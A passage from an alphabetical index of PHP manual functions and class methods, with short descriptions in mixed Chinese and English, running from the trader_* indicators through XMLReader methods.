    • trader_ht_dcperiod - Hilbert Transform - Dominant Cycle Period
    • trader_ht_dcphase - Hilbert Transform - Dominant Cycle Phase
    • trader_ht_phasor - Hilbert Transform - Phasor Components
    • trader_ht_sine - Hilbert Transform - SineWave
    • trader_ht_trendline - Hilbert Transform - Instantaneous Trendline
    • trader_ht_trendmode - Hilbert Transform - Trend vs Cycle Mode
    • trader_kama - Kaufman Adaptive Moving Average
    • trader_linearreg - Linear Regression
    • trader_linearreg_angle - Linear Regression Angle
    • trader_linearreg_intercept - Linear Regression Intercept
    • trader_linearreg_slope - Linear Regression Slope
    • trader_ln - Vector Log Natural
    • trader_log10 - Vector Log10
    • trader_ma - Moving average
    • trader_macd - Moving Average Convergence/Divergence
    • trader_macdext - MACD with controllable MA type
    • trader_macdfix - Moving Average Convergence/Divergence Fix 12/26
    • trader_mama - MESA Adaptive Moving Average
    • trader_mavp - Moving average with variable period
    • trader_max - Highest value over a specified period
    • trader_maxindex - Index of highest value over a specified period
    • trader_medprice - Median Price
    • trader_mfi - Money Flow Index
    • trader_midpoint - MidPoint over period
    • trader_midprice - Midpoint Price over period
    • trader_min - Lowest value over a specified period
    • trader_minindex - Index of lowest value over a specified period
    • trader_minmax - Lowest and highest values over a specified period
    • trader_minmaxindex - Indexes of lowest and highest values over a specified period
    • trader_minus_di - Minus Directional Indicator
    • trader_minus_dm - Minus Directional Movement
    • trader_mom - Momentum
    • trader_mult - Vector Arithmetic Mult
    • trader_natr - Normalized Average True Range
    • trader_obv - On Balance Volume
    • trader_plus_di - Plus Directional Indicator
    • trader_plus_dm - Plus Directional Movement
    • trader_ppo - Percentage Price Oscillator
    • trader_roc - Rate of change : ((price/prevPrice)-1)*100
    • trader_rocp - Rate of change Percentage: (price-prevPrice)/prevPrice
    • trader_rocr - Rate of change ratio: (price/prevPrice)
    • trader_rocr100 - Rate of change ratio 100 scale: (price/prevPrice)*100
    • trader_rsi - Relative Strength Index
    • trader_sar - Parabolic SAR
    • trader_sarext - Parabolic SAR - Extended
    • trader_set_compat - Set compatibility mode
    • trader_set_unstable_period - Set unstable period
    • trader_sin - Vector Trigonometric Sin
    • trader_sinh - Vector Trigonometric Sinh
    • trader_sma - Simple Moving Average
    • trader_sqrt - Vector Square Root
    • trader_stddev - Standard Deviation
    • trader_stoch - Stochastic
    • trader_stochf - Stochastic Fast
    • trader_stochrsi - Stochastic Relative Strength Index
    • trader_sub - Vector Arithmetic Subtraction
    • trader_sum - Summation
    • trader_t3 - Triple Exponential Moving Average (T3)
    • trader_tan - Vector Trigonometric Tan
    • trader_tanh - Vector Trigonometric Tanh
    • trader_tema - Triple Exponential Moving Average
    • trader_trange - True Range
    • trader_trima - Triangular Moving Average
    • trader_trix - 1-day Rate-Of-Change (ROC) of a Triple Smooth EMA
    • trader_tsf - Time Series Forecast
    • trader_typprice - Typical Price
    • trader_ultosc - Ultimate Oscillator
    • trader_var - Variance
    • trader_wclprice - Weighted Close Price
    • trader_willr - Williams' %R
    • trader_wma - Weighted Moving Average
    • trait_exists - 检查指定的 trait 是否存在
    • Transliterator::create - Create a transliterator
    • Transliterator::createFromRules - Create transliterator from rules
    • Transliterator::createInverse - Create an inverse transliterator
    • Transliterator::getErrorCode - Get last error code
    • Transliterator::getErrorMessage - Get last error message
    • Transliterator::listIDs - Get transliterator IDs
    • Transliterator::transliterate - Transliterate a string
    • Transliterator::__construct - Private constructor to deny instantiation
    • trigger_error - 产生一个用户级别的 error/warning/notice 信息
    • trim - 去除字符串首尾处的空白字符（或者其他字符）
  • u
    • uasort - 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联
    • ucfirst - 将字符串的首字母转换为大写
    • UConverter::convert - Convert string from one charset to another
    • UConverter::fromUCallback - Default "from" callback function
    • UConverter::getAliases - Get the aliases of the given name
    • UConverter::getAvailable - Get the available canonical converter names
    • UConverter::getDestinationEncoding - Get the destination encoding
    • UConverter::getDestinationType - Get the destination converter type
    • UConverter::getErrorCode - Get last error code on the object
    • UConverter::getErrorMessage - Get last error message on the object
    • UConverter::getSourceEncoding - Get the source encoding
    • UConverter::getSourceType - Get the source convertor type
    • UConverter::getStandards - Get standards associated to converter names
    • UConverter::getSubstChars - Get substitution chars
    • UConverter::reasonText - Get string representation of the callback reason
    • UConverter::setDestinationEncoding - Set the destination encoding
    • UConverter::setSourceEncoding - Set the source encoding
    • UConverter::setSubstChars - Set the substitution chars
    • UConverter::toUCallback - Default "to" callback function
    • UConverter::transcode - Convert string from one charset to another
    • UConverter::__construct - Create UConverter object
    • ucwords - 将字符串中每个单词的首字母转换为大写
    • udm_add_search_limit - Add various search limits
    • udm_alloc_agent - Allocate mnoGoSearch session
    • udm_alloc_agent_array - Allocate mnoGoSearch session
    • udm_api_version - Get mnoGoSearch API version
    • udm_cat_list - Get all the categories on the same level with the current one
    • udm_cat_path - Get the path to the current category
    • udm_check_charset - Check if the given charset is known to mnogosearch
    • udm_clear_search_limits - Clear all mnoGoSearch search restrictions
    • udm_crc32 - Return CRC32 checksum of given string
    • udm_errno - Get mnoGoSearch error number
    • udm_error - Get mnoGoSearch error message
    • udm_find - Perform search
    • udm_free_agent - Free mnoGoSearch session
    • udm_free_ispell_data - Free memory allocated for ispell data
    • udm_free_res - Free mnoGoSearch result
    • udm_get_doc_count - Get total number of documents in database
    • udm_get_res_field - Fetch a result field
    • udm_get_res_param - Get mnoGoSearch result parameters
    • udm_hash32 - Return Hash32 checksum of given string
    • udm_load_ispell_data - Load ispell data
    • udm_set_agent_param - Set mnoGoSearch agent session parameters
    • UI\Area::onDraw - Draw Callback
    • UI\Area::onKey - Key Callback
    • UI\Area::onMouse - Mouse Callback
    • UI\Area::redraw - Redraw Area
    • UI\Area::scrollTo - Area Scroll
    • UI\Area::setSize - Set Size
    • UI\Control::destroy - Destroy Control
    • UI\Control::disable - Disable Control
    • UI\Control::enable - Enable Control
    • UI\Control::getParent - Get Parent Control
    • UI\Control::getTopLevel - Get Top Level
    • UI\Control::hide - Hide Control
    • UI\Control::isEnabled - Determine if Control is enabled
    • UI\Control::isVisible - Determine if Control is visible
    • UI\Control::setParent - Set Parent Control
    • UI\Control::show - Control Show
    • UI\Controls\Box::append - Append Control
    • UI\Controls\Box::delete - Delete Control
    • UI\Controls\Box::getOrientation - Get Orientation
    • UI\Controls\Box::isPadded - Padding Detection
    • UI\Controls\Box::setPadded - Set Padding
    • UI\Controls\Box::__construct - Construct a new Box
    • UI\Controls\Button::getText - Get Text
    • UI\Controls\Button::onClick - Click Handler
    • UI\Controls\Button::setText - Set Text
    • UI\Controls\Button::__construct - Construct a new Button
    • UI\Controls\Check::getText - Get Text
    • UI\Controls\Check::isChecked - Checked Detection
    • UI\Controls\Check::onToggle - Toggle Callback
    • UI\Controls\Check::setChecked - Set Checked
    • UI\Controls\Check::setText - Set Text
    • UI\Controls\Check::__construct - Construct a new Check
    • UI\Controls\ColorButton::getColor - Get Color
    • UI\Controls\ColorButton::onChange - Change Handler
    • UI\Controls\ColorButton::setColor - Set Color
    • UI\Controls\Combo::append - Append Option
    • UI\Controls\Combo::getSelected - Get Selected Option
    • UI\Controls\Combo::onSelected - Selected Handler
    • UI\Controls\Combo::setSelected - Set Selected Option
    • UI\Controls\EditableCombo::append - Append Option
    • UI\Controls\EditableCombo::getText - Get Text
    • UI\Controls\EditableCombo::onChange - Change Handler
    • UI\Controls\EditableCombo::setText - Set Text
    • UI\Controls\Entry::getText - Get Text
    • UI\Controls\Entry::isReadOnly - Detect Read Only
    • UI\Controls\Entry::onChange - Change Handler
    • UI\Controls\Entry::setReadOnly - Set Read Only
    • UI\Controls\Entry::setText - Set Text
    • UI\Controls\Entry::__construct - Construct a new Entry
    • UI\Controls\Form::append - Append Control
    • UI\Controls\Form::delete - Delete Control
    • UI\Controls\Form::isPadded - Padding Detection
    • UI\Controls\Form::setPadded - Set Padding
    • UI\Controls\Grid::append - Append Control
    • UI\Controls\Grid::isPadded - Padding Detection
    • UI\Controls\Grid::setPadded - Set Padding
    • UI\Controls\Group::append - Append Control
    • UI\Controls\Group::getTitle - Get Title
    • UI\Controls\Group::hasMargin - Margin Detection
    • UI\Controls\Group::setMargin - Set Margin
    • UI\Controls\Group::setTitle - Set Title
    • UI\Controls\Group::__construct - Construct a new Group
    • UI\Controls\Label::getText - Get Text
    • UI\Controls\Label::setText - Set Text
    • UI\Controls\Label::__construct - Construct a new Label
    • UI\Controls\MultilineEntry::append - Append Text
    • UI\Controls\MultilineEntry::getText - Get Text
    • UI\Controls\MultilineEntry::isReadOnly - Read Only Detection
    • UI\Controls\MultilineEntry::onChange - Change Handler
    • UI\Controls\MultilineEntry::setReadOnly - Set Read Only
    • UI\Controls\MultilineEntry::setText - Set Text
    • UI\Controls\MultilineEntry::__construct - Construct a new Multiline Entry
    • UI\Controls\Picker::__construct - Construct a new Picker
    • UI\Controls\Progress::getValue - Get Value
    • UI\Controls\Progress::setValue - Set Value
    • UI\Controls\Radio::append - Append Option
    • UI\Controls\Radio::getSelected - Get Selected Option
    • UI\Controls\Radio::onSelected - Selected Handler
    • UI\Controls\Radio::setSelected - Set Selected Option
    • UI\Controls\Separator::__construct - Construct a new Separator
    • UI\Controls\Slider::getValue - Get Value
    • UI\Controls\Slider::onChange - Change Handler
    • UI\Controls\Slider::setValue - Set Value
    • UI\Controls\Slider::__construct - Construct a new Slider
    • UI\Controls\Spin::getValue - Get Value
    • UI\Controls\Spin::onChange - Change Handler
    • UI\Controls\Spin::setValue - Set Value
    • UI\Controls\Spin::__construct - Construct a new Spin
    • UI\Controls\Tab::append - Append Page
    • UI\Controls\Tab::delete - Delete Page
    • UI\Controls\Tab::hasMargin - Margin Detection
    • UI\Controls\Tab::insertAt - Insert Page
    • UI\Controls\Tab::pages - Page Count
    • UI\Controls\Tab::setMargin - Set Margin
    • UI\Draw\Brush::getColor - Get Color
    • UI\Draw\Brush::setColor - Set Color
    • UI\Draw\Brush::__construct - Construct a new Brush
    • UI\Draw\Brush\Gradient::addStop - Stop Manipulation
    • UI\Draw\Brush\Gradient::delStop - Stop Manipulation
    • UI\Draw\Brush\Gradient::setStop - Stop Manipulation
    • UI\Draw\Brush\LinearGradient::__construct - Construct a Linear Gradient
    • UI\Draw\Brush\RadialGradient::__construct - Construct a new Radial Gradient
    • UI\Draw\Color::getChannel - Color Manipulation
    • UI\Draw\Color::setChannel - Color Manipulation
    • UI\Draw\Color::__construct - Construct new Color
    • UI\Draw\Matrix::invert - Invert Matrix
    • UI\Draw\Matrix::isInvertible - Invertible Detection
    • UI\Draw\Matrix::multiply - Multiply Matrix
    • UI\Draw\Matrix::rotate - Rotate Matrix
    • UI\Draw\Matrix::scale - Scale Matrix
    • UI\Draw\Matrix::skew - Skew Matrix
    • UI\Draw\Matrix::translate - Translate Matrix
    • UI\Draw\Path::addRectangle - Draw a Rectangle
    • UI\Draw\Path::arcTo - Draw an Arc
    • UI\Draw\Path::bezierTo - Draw Bezier Curve
    • UI\Draw\Path::closeFigure - Close Figure
    • UI\Draw\Path::end - Finalize Path
    • UI\Draw\Path::lineTo - Draw a Line
    • UI\Draw\Path::newFigure - Draw Figure
    • UI\Draw\Path::newFigureWithArc - Draw Figure with Arc
    • UI\Draw\Path::__construct - Construct a new Path
    • UI\Draw\Pen::clip - Clip a Path
    • UI\Draw\Pen::fill - Fill a Path
    • UI\Draw\Pen::restore - Restore
    • UI\Draw\Pen::save - Save
    • UI\Draw\Pen::stroke - Stroke a Path
    • UI\Draw\Pen::transform - Matrix Transform
    • UI\Draw\Pen::write - Draw Text at Point
    • UI\Draw\Stroke::getCap - Get Line Cap
    • UI\Draw\Stroke::getJoin - Get Line Join
    • UI\Draw\Stroke::getMiterLimit - Get Miter Limit
    • UI\Draw\Stroke::getThickness - Get Thickness
    • UI\Draw\Stroke::setCap - Set Line Cap
    • UI\Draw\Stroke::setJoin - Set Line Join
    • UI\Draw\Stroke::setMiterLimit - Set Miter Limit
    • UI\Draw\Stroke::setThickness - Set Thickness
    • UI\Draw\Stroke::__construct - Construct a new Stroke
    • UI\Draw\Text\Font::getAscent - Font Metrics
    • UI\Draw\Text\Font::getDescent - Font Metrics
    • UI\Draw\Text\Font::getLeading - Font Metrics
    • UI\Draw\Text\Font::getUnderlinePosition - Font Metrics
    • UI\Draw\Text\Font::getUnderlineThickness - Font Metrics
    • UI\Draw\Text\Font::__construct - Construct a new Font
    • UI\Draw\Text\Font\Descriptor::getFamily - Get Font Family
    • UI\Draw\Text\Font\Descriptor::getItalic - Style Detection
    • UI\Draw\Text\Font\Descriptor::getSize - Size Detection
    • UI\Draw\Text\Font\Descriptor::getStretch - Style Detection
    • UI\Draw\Text\Font\Descriptor::getWeight - Weight Detection
    • UI\Draw\Text\Font\Descriptor::__construct - Construct a new Font Descriptor
    • UI\Draw\Text\Font\fontFamilies - Retrieve Font Families
    • UI\Draw\Text\Layout::setColor - Set Color
    • UI\Draw\Text\Layout::setWidth - Set Width
    • UI\Draw\Text\Layout::__construct - Construct a new Text Layout
    • UI\Executor::kill - Stop Executor
    • UI\Executor::onExecute - Execution Callback
    • UI\Executor::setInterval - Interval Manipulation
    • UI\Executor::__construct - Construct a new Executor
    • UI\Menu::append - Append Menu Item
    • UI\Menu::appendAbout - Append About Menu Item
    • UI\Menu::appendCheck - Append Checkable Menu Item
    • UI\Menu::appendPreferences - Append Preferences Menu Item
    • UI\Menu::appendQuit - Append Quit Menu Item
    • UI\Menu::appendSeparator - Append Menu Item Separator
    • UI\Menu::__construct - Construct a new Menu
    • UI\MenuItem::disable - Disable Menu Item
    • UI\MenuItem::enable - Enable Menu Item
    • UI\MenuItem::isChecked - Detect Checked
    • UI\MenuItem::onClick - On Click Callback
    • UI\MenuItem::setChecked - Set Checked
    • UI\Point::at - Size Coercion
    • UI\Point::getX - Retrieves X
    • UI\Point::getY - Retrieves Y
    • UI\Point::setX - Set X
    • UI\Point::setY - Set Y
    • UI\Point::__construct - Construct a new Point
    • UI\quit - Quit UI Loop
    • UI\run - Enter UI Loop
    • UI\Size::getHeight - Retrieves Height
    • UI\Size::getWidth - Retrives Width
    • UI\Size::of - Point Coercion
    • UI\Size::setHeight - Set Height
    • UI\Size::setWidth - Set Width
    • UI\Size::__construct - Construct a new Size
    • UI\Window::add - Add a Control
    • UI\Window::error - Show Error Box
    • UI\Window::getSize - Get Window Size
    • UI\Window::getTitle - Get Title
    • UI\Window::hasBorders - Border Detection
    • UI\Window::hasMargin - Margin Detection
    • UI\Window::isFullScreen - Full Screen Detection
    • UI\Window::msg - Show Message Box
    • UI\Window::onClosing - Closing Callback
    • UI\Window::open - Open Dialog
    • UI\Window::save - Save Dialog
    • UI\Window::setBorders - Border Use
    • UI\Window::setFullScreen - Full Screen Use
    • UI\Window::setMargin - Margin Use
    • UI\Window::setSize - Set Size
    • UI\Window::setTitle - Window Title
    • UI\Window::__construct - Construct a new Window
    • uksort - 使用用户自定义的比较函数对数组中的键名进行排序
    • umask - 改变当前的 umask
    • uniqid - 生成一个唯一ID
    • unixtojd - 转变Unix时间戳为Julian Day计数
    • unlink - 删除文件
    • unpack - Unpack data from binary string
    • unregister_tick_function - De-register a function for execution on each tick
    • unserialize - 从已存储的表示中创建 PHP 的值
    • unset - 释放给定的变量
    • untaint - Untaint strings
    • uopz_add_function - Adds non-existent function or method
    • uopz_allow_exit - Allows control over disabled exit opcode
    • uopz_backup - Backup a function
    • uopz_compose - Compose a class
    • uopz_copy - Copy a function
    • uopz_delete - Delete a function
    • uopz_del_function - Deletes previously added function or method
    • uopz_extend - Extend a class at runtime
    • uopz_flags - Get or set flags on function or class
    • uopz_function - Creates a function at runtime
    • uopz_get_exit_status - Retrieve the last set exit status
    • uopz_get_hook - Gets previously set hook on function or method
    • uopz_get_mock - Get the current mock for a class
    • uopz_get_property - Gets value of class or instance property
    • uopz_get_return - Gets a previous set return value for a function
    • uopz_get_static - Gets the static variables from function or method scope
    • uopz_implement - Implements an interface at runtime
    • uopz_overload - Overload a VM opcode
    • uopz_redefine - Redefine a constant
    • uopz_rename - Rename a function at runtime
    • uopz_restore - Restore a previously backed up function
    • uopz_set_hook - Sets hook to execute when entering a function or method
    • uopz_set_mock - Use mock instead of class for new objects
    • uopz_set_property - Sets value of existing class or instance property
    • uopz_set_return - Provide a return value for an existing function
    • uopz_set_static - Sets the static variables in function or method scope
    • uopz_undefine - Undefine a constant
    • uopz_unset_hook - Removes previously set hook on function or method
    • uopz_unset_mock - Unset previously set mock
    • uopz_unset_return - Unsets a previously set return value for a function
    • urldecode - 解码已编码的 URL 字符串
    • urlencode - 编码 URL 字符串
    • user_error - trigger_error 的别名
    • use_soap_error_handler - Set whether to use the SOAP error handler
    • usleep - 以指定的微秒数延迟执行
    • usort - 使用用户自定义的比较函数对数组中的值进行排序
    • utf8_decode - 将用 UTF-8 方式编码的 ISO-8859-1 字符串转换成单字节的 ISO-8859-1 字符串。
    • utf8_encode - 将 ISO-8859-1 编码的字符串转换为 UTF-8 编码
  • v
    • V8Js::executeString - Execute a string as Javascript code
    • V8Js::getExtensions - Return an array of registered extensions
    • V8Js::getPendingException - Return pending uncaught Javascript exception
    • V8Js::registerExtension - Register Javascript extensions for V8Js
    • V8Js::__construct - Construct a new V8Js object
    • V8JsException::getJsFileName - The getJsFileName purpose
    • V8JsException::getJsLineNumber - The getJsLineNumber purpose
    • V8JsException::getJsSourceLine - The getJsSourceLine purpose
    • V8JsException::getJsTrace - The getJsTrace purpose
    • VARIANT::__construct - VARIANT class constructor
    • variant_abs - Returns the absolute value of a variant
    • variant_add - "Adds" two variant values together and returns the result
    • variant_and - Performs a bitwise AND operation between two variants
    • variant_cast - Convert a variant into a new variant object of another type
    • variant_cat - Concatenates two variant values together and returns the result
    • variant_cmp - Compares two variants
    • variant_date_from_timestamp - Returns a variant date representation of a Unix timestamp
    • variant_date_to_timestamp - Converts a variant date/time value to Unix timestamp
    • variant_div - Returns the result from dividing two variants
    • variant_eqv - Performs a bitwise equivalence on two variants
    • variant_fix - Returns the integer portion of a variant
    • variant_get_type - Returns the type of a variant object
    • variant_idiv - Converts variants to integers and then returns the result from dividing them
    • variant_imp - Performs a bitwise implication on two variants
    • variant_int - Returns the integer portion of a variant
    • variant_mod - Divides two variants and returns only the remainder
    • variant_mul - Multiplies the values of the two variants
    • variant_neg - Performs logical negation on a variant
    • variant_not - Performs bitwise not negation on a variant
    • variant_or - Performs a logical disjunction on two variants
    • variant_pow - Returns the result of performing the power function with two variants
    • variant_round - Rounds a variant to the specified number of decimal places
    • variant_set - Assigns a new value for a variant object
    • variant_set_type - Convert a variant into another type "in-place"
    • variant_sub - Subtracts the value of the right variant from the left variant value
    • variant_xor - Performs a logical exclusion on two variants
    • VarnishAdmin::auth - Authenticate on a varnish instance
    • VarnishAdmin::ban - Ban URLs using a VCL expression
    • VarnishAdmin::banUrl - Ban an URL using a VCL expression
    • VarnishAdmin::clearPanic - Clear varnish instance panic messages
    • VarnishAdmin::connect - Connect to a varnish instance administration interface
    • VarnishAdmin::disconnect - Disconnect from a varnish instance administration interface
    • VarnishAdmin::getPanic - Get the last panic message on a varnish instance
    • VarnishAdmin::getParams - Fetch current varnish instance configuration parameters
    • VarnishAdmin::isRunning - Check if the varnish slave process is currently running
    • VarnishAdmin::setCompat - Set the class compat configuration param
    • VarnishAdmin::setHost - Set the class host configuration param
    • VarnishAdmin::setIdent - Set the class ident configuration param
    • VarnishAdmin::setParam - Set configuration param on the current varnish instance
    • VarnishAdmin::setPort - Set the class port configuration param
    • VarnishAdmin::setSecret - Set the class secret configuration param
    • VarnishAdmin::setTimeout - Set the class timeout configuration param
    • VarnishAdmin::start - Start varnish worker process
    • VarnishAdmin::stop - Stop varnish worker process
    • VarnishAdmin::__construct - VarnishAdmin constructor
    • VarnishLog::getLine - Get next log line
    • VarnishLog::getTagName - Get the log tag string representation by its index
    • VarnishLog::__construct - Varnishlog constructor
    • VarnishStat::getSnapshot - Get the current varnish instance statistics snapshot
    • VarnishStat::__construct - VarnishStat constructor
    • var_dump - 打印变量的相关信息
    • var_export - 输出或返回一个变量的字符串表示
    • version_compare - 对比两个「PHP 规范化」的版本数字字符串
    • vfprintf - 将格式化字符串写入流
    • virtual - 执行 Apache 子请求
    • vpopmail_add_alias_domain - Add an alias for a virtual domain
    • vpopmail_add_alias_domain_ex - Add alias to an existing virtual domain
    • vpopmail_add_domain - Add a new virtual domain
    • vpopmail_add_domain_ex - Add a new virtual domain
    • vpopmail_add_user - Add a new user to the specified virtual domain
    • vpopmail_alias_add - Insert a virtual alias
    • vpopmail_alias_del - Deletes all virtual aliases of a user
    • vpopmail_alias_del_domain - Deletes all virtual aliases of a domain
    • vpopmail_alias_get - Get all lines of an alias for a domain
    • vpopmail_alias_get_all - Get all lines of an alias for a domain
    • vpopmail_auth_user - Attempt to validate a username/domain/password
    • vpopmail_del_domain - Delete a virtual domain
    • vpopmail_del_domain_ex - Delete a virtual domain
    • vpopmail_del_user - Delete a user from a virtual domain
    • vpopmail_error - Get text message for last vpopmail error
    • vpopmail_passwd - Change a virtual user's password
    • vpopmail_set_user_quota - Sets a virtual user's quota
    • vprintf - 输出格式化字符串
    • vsprintf - 返回格式化字符串
    • Vtiful\Kernel\Excel::addSheet - Vtiful\Kernel\Excel addSheet
    • Vtiful\Kernel\Excel::autoFilter - Vtiful\Kernel\Excel autoFilter
    • Vtiful\Kernel\Excel::constMemory - Vtiful\Kernel\Excel constMemory
    • Vtiful\Kernel\Excel::data - Vtiful\Kernel\Excel data
    • Vtiful\Kernel\Excel::fileName - Vtiful\Kernel\Excel fileName
    • Vtiful\Kernel\Excel::getHandle - Vtiful\Kernel\Excel getHandle
    • Vtiful\Kernel\Excel::header - Vtiful\Kernel\Excel header
    • Vtiful\Kernel\Excel::insertFormula - Vtiful\Kernel\Excel insertFormula
    • Vtiful\Kernel\Excel::insertImage - Vtiful\Kernel\Excel insertImage
    • Vtiful\Kernel\Excel::insertText - Vtiful\Kernel\Excel insertText
    • Vtiful\Kernel\Excel::mergeCells - Vtiful\Kernel\Excel mergeCells
    • Vtiful\Kernel\Excel::output - Vtiful\Kernel\Excel output
    • Vtiful\Kernel\Excel::setColumn - Vtiful\Kernel\Excel setColumn
    • Vtiful\Kernel\Excel::setRow - Vtiful\Kernel\Excel setRow
    • Vtiful\Kernel\Excel::__construct - Vtiful\Kernel\Excel constructor
    • Vtiful\Kernel\Format::align - Vtiful\Kernel\Format align
    • Vtiful\Kernel\Format::bold - Vtiful\Kernel\Format bold
    • Vtiful\Kernel\Format::italic - Vtiful\Kernel\Format italic
    • Vtiful\Kernel\Format::underline - Vtiful\Kernel\Format underline
  • w
    • Warning::__construct - Warning constructor
    • wddx_add_vars - Add variables to a WDDX packet with the specified ID
    • wddx_deserialize - Unserializes a WDDX packet
    • wddx_packet_end - Ends a WDDX packet with the specified ID
    • wddx_packet_start - Starts a new WDDX packet with structure inside it
    • wddx_serialize_value - Serialize a single value into a WDDX packet
    • wddx_serialize_vars - Serialize variables into a WDDX packet
    • WeakMap::count - Counts the number of live entries in the map
    • WeakMap::current - Returns the current value under iteration
    • WeakMap::key - Returns the current key under iteration
    • WeakMap::next - Advances to the next map element
    • WeakMap::offsetExists - Checks whether a certain object is in the map
    • WeakMap::offsetGet - Returns the value pointed to by a certain object
    • WeakMap::offsetSet - Updates the map with a new key-value pair
    • WeakMap::offsetUnset - Removes an entry from the map
    • WeakMap::rewind - Rewinds the iterator to the beginning of the map
    • WeakMap::valid - Returns whether the iterator is still on a valid map element
    • WeakMap::__construct - Constructs a new map
    • Weakref::acquire - Acquires a strong reference on that object
    • Weakref::get - Returns the object pointed to by the weak reference
    • Weakref::release - Releases a previously acquired reference
    • Weakref::valid - Checks whether the object referenced still exists
    • Weakref::__construct - Constructs a new weak reference
    • win32_continue_service - Resumes a paused service
    • win32_create_service - Creates a new service entry in the SCM database
    • win32_delete_service - Deletes a service entry from the SCM database
    • win32_get_last_control_message - Returns the last control message that was sent to this service
    • win32_pause_service - Pauses a service
    • win32_ps_list_procs - List running processes
    • win32_ps_stat_mem - Stat memory utilization
    • win32_ps_stat_proc - Stat process
    • win32_query_service_status - Queries the status of a service
    • win32_send_custom_control - Send a custom control to the service
    • win32_set_service_exit_code - Define or return the exit code for the current running service
    • win32_set_service_exit_mode - Define or return the exit mode for the current running service
    • win32_set_service_status - Update the service status
    • win32_start_service - Starts a service
    • win32_start_service_ctrl_dispatcher - Registers the script with the SCM, so that it can act as the service with the given name
    • win32_stop_service - Stops a service
    • wincache_fcache_fileinfo - Retrieves information about files cached in the file cache
    • wincache_fcache_meminfo - Retrieves information about file cache memory usage
    • wincache_lock - Acquires an exclusive lock on a given key
    • wincache_ocache_fileinfo - Retrieves information about files cached in the opcode cache
    • wincache_ocache_meminfo - Retrieves information about opcode cache memory usage
    • wincache_refresh_if_changed - Refreshes the cache entries for the cached files
    • wincache_rplist_fileinfo - Retrieves information about resolve file path cache
    • wincache_rplist_meminfo - Retrieves information about memory usage by the resolve file path cache
    • wincache_scache_info - Retrieves information about files cached in the session cache
    • wincache_scache_meminfo - Retrieves information about session cache memory usage
    • wincache_ucache_add - Adds a variable in user cache only if variable does not already exist in the cache
    • wincache_ucache_cas - Compares the variable with old value and assigns new value to it
    • wincache_ucache_clear - Deletes entire content of the user cache
    • wincache_ucache_dec - Decrements the value associated with the key
    • wincache_ucache_delete - Deletes variables from the user cache
    • wincache_ucache_exists - Checks if a variable exists in the user cache
    • wincache_ucache_get - Gets a variable stored in the user cache
    • wincache_ucache_inc - Increments the value associated with the key
    • wincache_ucache_info - Retrieves information about data stored in the user cache
    • wincache_ucache_meminfo - Retrieves information about user cache memory usage
    • wincache_ucache_set - Adds a variable in user cache and overwrites a variable if it already exists in the cache
    • wincache_unlock - Releases an exclusive lock on a given key
    • wkhtmltox\Image\Converter::convert - Perform Image conversion
    • wkhtmltox\Image\Converter::getVersion - Determine version of Converter
    • wkhtmltox\Image\Converter::__construct - Create a new Image converter
    • wkhtmltox\PDF\Converter::add - Add an object for conversion
    • wkhtmltox\PDF\Converter::convert - Perform PDF conversion
    • wkhtmltox\PDF\Converter::getVersion - Determine version of Converter
    • wkhtmltox\PDF\Converter::__construct - Create a new PDF converter
    • wkhtmltox\PDF\Object::__construct - Create a new PDF Object
    • wordwrap - 打断字符串为指定数量的字串
    • Worker::collect - Collect references to completed tasks
    • Worker::getStacked - 获取剩余的栈大小
    • Worker::isShutdown - 状态检测
    • Worker::isWorking - 状态检测
    • Worker::shutdown - 关闭 Worker
    • Worker::stack - 将要执行的任务入栈
    • Worker::unstack - 将要执行的任务出栈
  • x
    • xattr_get - Get an extended attribute
    • xattr_list - Get a list of extended attributes
    • xattr_remove - Remove an extended attribute
    • xattr_set - Set an extended attribute
    • xattr_supported - Check if filesystem supports extended attributes
    • xdiff_file_bdiff - Make binary diff of two files
    • xdiff_file_bdiff_size - Read a size of file created by applying a binary diff
    • xdiff_file_bpatch - Patch a file with a binary diff
    • xdiff_file_diff - Make unified diff of two files
    • xdiff_file_diff_binary - Alias of xdiff_file_bdiff
    • xdiff_file_merge3 - Merge 3 files into one
    • xdiff_file_patch - Patch a file with an unified diff
    • xdiff_file_patch_binary - Alias of xdiff_file_bpatch
    • xdiff_file_rabdiff - Make binary diff of two files using the Rabin's polynomial fingerprinting algorithm
    • xdiff_string_bdiff - Make binary diff of two strings
    • xdiff_string_bdiff_size - Read a size of file created by applying a binary diff
    • xdiff_string_bpatch - Patch a string with a binary diff
    • xdiff_string_diff - Make unified diff of two strings
    • xdiff_string_diff_binary - Alias of xdiff_string_bdiff
    • xdiff_string_merge3 - Merge 3 strings into one
    • xdiff_string_patch - Patch a string with an unified diff
    • xdiff_string_patch_binary - Alias of xdiff_string_bpatch
    • xdiff_string_rabdiff - Make binary diff of two strings using the Rabin's polynomial fingerprinting algorithm
    • xhprof_disable - 停止 xhprof 分析器
    • xhprof_enable - 启动 xhprof 性能分析器
    • xhprof_sample_disable - 停止 xhprof 性能采样分析器
    • xhprof_sample_enable - 以采样模式启动 XHProf 性能分析
    • XMLDiff\Base::diff - Produce diff of two XML documents
    • XMLDiff\Base::merge - Produce new XML document based on diff
    • XMLDiff\Base::__construct - Constructor
    • XMLDiff\DOM::diff - Diff two DOMDocument objects
    • XMLDiff\DOM::merge - Produce merged DOMDocument
    • XMLDiff\File::diff - Diff two XML files
    • XMLDiff\File::merge - Produce merged XML document
    • XMLDiff\Memory::diff - Diff two XML documents
    • XMLDiff\Memory::merge - Produce merged XML document
    • XMLReader::close - Close the XMLReader input
    • XMLReader::expand - Returns a copy of the current node as a DOM object
    • XMLReader::getAttribute - Get the value of a named attribute
    • XMLReader::getAttributeNo - Get the value of an attribute by index
    • XMLReader::getAttributeNs - Get the value of an attribute by localname and URI
    • XMLReader::getParserProperty - Indicates if specified property has been set
    • XMLReader::isValid - Indicates if the parsed document is valid
    • XMLReader::lookupNamespace - Lookup namespace for a prefix
    • XMLReader::moveToAttribute - Move cursor to a named attribute
    • XMLReader::moveToAttributeNo - Move cursor to an attribute by index
    • XMLReader::moveToAttributeNs - Move cursor to a named attribute
    • XMLReader::moveToElement - Position cursor on the parent Element of current Attribute
    • XMLReader::moveToFirstAttribute - Position cursor on the first Attribute
    • XMLReader::moveToNextAttribute - Position cursor on the next Attribute
    • XMLReader::next - Move cursor to next node skipping all subtrees
    • XMLReader::open - Set the URI containing the XML to parse
    • XMLReader::read - Move to next node in document
    • XMLReader::readInnerXml - Retrieve XML from current node
    • XMLReader::readOuterXml - Retrieve XML from current node, including itself
    • XMLReader::readString - Reads the contents of the current node as a string
    • XMLReader::setParserProperty - Set parser options
    • XMLReader::setRelaxNGSchema - Set the filename or URI for a RelaxNG Schema
